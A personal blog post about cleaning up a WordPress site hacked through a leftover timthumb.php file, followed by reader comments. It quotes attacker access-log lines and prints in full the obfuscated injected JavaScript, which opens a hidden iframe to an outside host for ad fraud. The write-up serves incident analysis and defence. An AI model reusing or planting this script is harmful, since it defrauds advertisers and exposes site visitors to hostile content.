This week, two blog readers let me know what Google Chrome was warning them of malware on my blog. I dived in and discovered that, indeed, a nasty, obfuscated JavaScript attack had made its way into my site. Although I was disappointed by the lack of clarity about how to fix it, I believe I was able to remove it last night. Here’s what I did.
A Nasty Hole in Timthumb.php
I’ve used the StudioPress Genesis themes for over a year now, but previously used a variety of others. One, Metamorphosis, included a handy thumbnail generator called Timthumb.php (or more precisely, thumb.php).
It appears that someone figured out how to exploit Timthumb to insert arbitrary code in WordPress blogs.
Since I was no longer using that theme, I had forgotten it was even installed. But it seems that users can manually request theme files even if the theme isn’t activated.
On Sunday, someone from IP address 91.196.216.20 (specenergo2.ru) requested dozens of different themes that use timthumb.php or thumb.php. They hit the jackpot with the following request:
91.196.216.20 - - [22/Jan/2012:02:00:52 +0000] "GET /wp-content/themes/metamorphosis/thumb.php HTTP/1.1" 400 319 "-" "-"
This was clearly an automated attack, and provided a solid clue about the hack.
Two days later, 81.95.114.105 returned and used thumb.php to add a file to my cache directory. He then executed that php file many times, injecting obfuscated JavaScript into my blog files:
81.95.114.105 - - [24/Jan/2012:10:12:39 +0000] "GET /2008/07/26/move-os-x-time-machine-backups-new-disk//wp-content/plugins/backups/cache/68d579e3ed4163b172ee2b887dc8ba54.php HTTP/1.1" 301 839 "-" "Mozilla/5.0 (Windows;U;Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1"
I’m assuming this was another person, and that the IP isn’t a definitive indication of where the hacker was. But they had succeeded in getting their JavaScript junk into my WordPress theme.
Hello, MW:JS:150
The inserted JavaScript is pretty clever. It’s obfuscated in a number of ways, but pretty obvious in the header of the blog:
<script type='text/javascript'>var a=!1; if(-1==document.cookie.indexOf("lonly")){dhf="ht";dif="\u002F\u0069\u006E\u002E\u0063";var d=new Date;dcf="\u0067\u0069\u003F\u0032";d.setTime(d.getTime());ddf="blood.of.cm";ed=new Date(d.getTime()+72E6);dtf="tp://";document.cookie="lonly="+escape(ed.toGMTString())+";expires="+ed.toGMTString()+";path=/";df=dhf+dtf+ddf+dif+dcf;var e=-1!=navigator.userAgent.toLowerCase().indexOf("firefox"),f="1",j=function(){};j.prototype={b:function(){i=43724;this.pa="";u="u";return df},a:function(){q="q";dN=49709;this.l=46019;w="";rJ=a;this.V="";var g=document; cR=kQ=a;this.fa="";var k=window;dO="";var h=this;this.H=this.T="";this.u=64509;this.F="rQ";pK="";this.Q=39122;this.na="dY";this.d="fA";this.ka="dE";fQ=cD="";this.I="sE";try{uK=17600;this.z="pC";this.ga="bZR";this.g=41545;cL=pW="";this.v="nU";wK=a;this.h=eSU="";rO=pOR=this.s=a;this.P=eK=kVQ="";qB=a;mF="mF";this.ia=a;this.ba="";this.ca="bY";vW="getsetAttrisdf";this.m="";this.ja="zS";wE=this.i=a;this.ha="";this.n=a;this.A=55903;this.j=33170;gK=62679;var b=[];qR=vS=a;this.Z="";e||(f="0");b.push("\x68\x65\x69\x67\x68\x74", "\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x74\x72\x65\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x67\x65\x74","\x77\x69\x64\x74\x68","\x76\x62\x6D\x69\x66\x72\x73\x65\x74",vW,"body","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64",f,g,"\u0073\u0072\u0063");this.aa=a;this.la=42071;this.K=21002;eO=64506;this.O=55314;yT="";hS=a;this.L=aU=uKD="";fK=a;yI=this.G=this.C="";wI="wI";sJ=11632;this.r=a;rG="";this.M=a;this.J=40171;aA=4550;gL=40598;var l=b[2][b[1]](3,16);this.c=this.N=nZ="";this.S="uX";gP="gP";this.t="nAO";var m=b[4][b[1]](3,6);cO=52931;this.R=a;this.da=44254;this.f=21921;vK=m+"ame";tI="tI";lO="lO";this.q="mO";jZ=24453;var n=b[5][b[1]](3,11);this.oa=this.qa= "";p=n+"bute";this.ma="dH";qU=this.Y="";rJQ=a;var o=h.b();this.$=tT="";var c=b[9][l](vK);this.W="";this.k="iZ";c[b[10]]=o;nD=a;mIO="mIO";this.w="";c[b[3]]=b[8];oH=40281;this.p="";kM="kM";c[b[0]]=b[8];this.B=58620;mH=this.X="";bW="bW";wY="";b[9][b[6]][b[7]](c);kR="";this.U=a;fVT=""}catch(s){hK="",this.ea=45116,lKT=a,this.D="rD",g.write("\x3C\x68\x74\x6D\x6C\x20\x3E\x3C\x62\x6F\x64\x79\x20\x3E\x3C\x2F\x62\x6F\x64\x79\x3E\x3C\x2F\x68\x74\x6D\x6C\x3E"),this.o=a,uIE="",this.e="fI",k.setTimeout(function(){h.a()},233),iGB=29282,zN=6951}iS=""}};cB="";var r=new j;gT="";r.a()};</script>
This code apparently caused site visitors to open an invisible frame with ads in it. It sets a cookie so it won’t run more than once, and also checks to hide itself from many spiders and search engines.
So it’s basically a web ad scam, intended to defraud someone like Yahoo by making it appear their ads are getting more impressions and clicks than they really are.
I was able to detect the malware using sitecheck.sucuri.net, which is where this name comes from. Note that they claim it comes from infected desktops, but I am fairly certain it came instead from the Timthumb php attack.
Cleaning Up
Cleanup was not at all straightforward, since it was mixed with detection and deduction.
The first thing to do was protect Timthumb from further exploits. I installed Timthumb Scanner, which detects and updates compromised versions of Timthumb.php.
Next, I reinstalled WordPress and my themes. Then I blew away my Super Cache files.
I also changed my blog password and WordPress cookie salts.
Finally, just to be safe, I ran chkrootkit and changed my UNIX passwords.
This appears to have eliminated this particular attack. I hope this helps!
Christian Mohn says
The lesson here is that you need to 1) keep your unused plugins/themes updated as well as the used ones or 2) Delete unused “cruft”.
Since the WordPress plugins/themes lives in wp-content/ they are all live and accessible, even if they are not active in the WordPress install.
BTW, this also goes for other “left over” files, like temp files your editor might save when editing files. If you use the Joe editor to manually hack away at files, you might see fun files like wp-config.php~ in your wp-content/ folder, and this file is also web accessible and since it´s not named .php it won´t be processed by PHP.
Guess what that file contains?
Gennady says
Sounds like you are not sure if you removed the reasons to avoid it in future and what they were?
Or you are?
I believe that a blog can be compromised through 2d party services being compromised to which it gives access (starting from Google+ and ending by Disqus)
sfoskett says
I’m confident the malware came from the Timthumb exploit documented here, though I agree that the more you use other services the more vulnerable you are. And this was a clever and durable attack. Technically interesting but personally annoying.
Michael McNamara says
It’s always the small details that trip people up… I had a test/development site and had an old copy of Thesis on it. Thankfully I was restricting access via htaccess to just a few machines.
Thanks for the story!